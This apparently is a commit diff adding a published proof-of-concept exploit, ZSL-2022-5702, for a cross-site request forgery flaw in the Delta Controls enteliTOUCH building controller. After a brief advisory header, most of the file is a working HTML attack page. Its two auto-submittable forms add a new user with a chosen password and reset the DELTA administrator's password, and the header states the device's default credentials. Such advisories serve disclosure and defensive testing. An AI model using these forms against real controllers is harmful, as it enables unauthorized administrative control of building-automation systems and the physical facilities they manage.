1
+ # Exploit Tile: Delta Controls enteliTOUCH 3.40.3935 - Cross-Site Request Forgery (CSRF)
2
+ # Exploit Author: LiquidWorm
3
+
4
+ <!DOCTYPE html>
5
+ < html >
6
+ < head > < title > enteliTouch CSRF</ title > </ head >
7
+ < body >
8
+ <!--
9
+
10
+ Delta Controls enteliTOUCH 3.40.3935 Cross-Site Request Forgery (CSRF)
11
+
12
+
13
+ Vendor: Delta Controls Inc.
14
+ Product web page: https://www.deltacontrols.com
15
+ Affected version: 3.40.3935
16
+ 3.40.3706
17
+ 3.33.4005
18
+
19
+ Summary: enteliTOUCH - Touchscreen Building Controller. Get instant
20
+ access to the heart of your BAS. The enteliTOUCH has a 7-inch,
21
+ high-resolution display that serves as an interface to your building.
22
+ Use it as your primary interface for smaller facilities or as an
23
+ on-the-spot access point for larger systems. The intuitive,
24
+ easy-to-navigate interface gives instant access to manage your BAS.
25
+
26
+ Desc: The application interface allows users to perform certain actions
27
+ via HTTP requests without performing any validity checks to verify the
28
+ requests. This can be exploited to perform certain actions with administrative
29
+ privileges if a logged-in user visits a malicious web site.
30
+
31
+ Tested on: DELTA enteliTOUCH
32
+
33
+
34
+ Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
35
+ @zeroscience
36
+
37
+
38
+ Advisory ID: ZSL-2022-5702
39
+ Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5702.php
40
+
41
+
42
+ 06.04.2022
43
+
44
+ -->
45
+
46
+
47
+ CSRF Add User:
48
+
49
+ < form action ="http://192.168.0.210/deltaweb/hmi_useredit.asp?formAction=Add&userName=&userPassword= " method ="POST ">
50
+ < input type ="hidden " name ="actionName " value ="" />
51
+ < input type ="hidden " name ="Username " value ="zsl " />
52
+ < input type ="hidden " name ="Password " value ="123t00t " />
53
+ < input type ="hidden " name ="AutoLogout " value ="17 " />
54
+ < input type ="hidden " name ="SS_SelectedOptionId " value ="FIL28 " />
55
+ < input type ="hidden " name ="ObjRef " value ="" />
56
+ < input type ="hidden " name ="Apply " value ="true " />
57
+ < input type ="hidden " name ="formAction " value ="Add " />
58
+ < input type ="submit " value ="Go for UserAdd " />
59
+ </ form >
60
+
61
+ < br />
62
+
63
+ CSRF Change Admin Password (default: delta:login):
64
+
65
+ < form action ="http://192.168.0.210/deltaweb/hmi_useredit.asp?formAction=Edit&userName=DELTA&userPassword=baaah " method ="POST ">
66
+ < input type ="hidden " name ="actionName " value ="" />
67
+ < input type ="hidden " name ="Username " value ="DELTA " />
68
+ < input type ="hidden " name ="Password " value ="123456 " />
69
+ < input type ="hidden " name ="AutoLogout " value ="30 " />
70
+ < input type ="hidden " name ="SS_SelectedOptionId " value ="" />
71
+ < input type ="hidden " name ="ObjRef " value ="ZSL-251 " />
72
+ < input type ="hidden " name ="Apply " value ="true " />
73
+ < input type ="hidden " name ="formAction " value ="Edit " />
74
+ < input type ="submit " value ="Go for UserEdit " />
75
+ </ form >
76
+
77
+ </ body >
78
+ </ html >
0 commit comments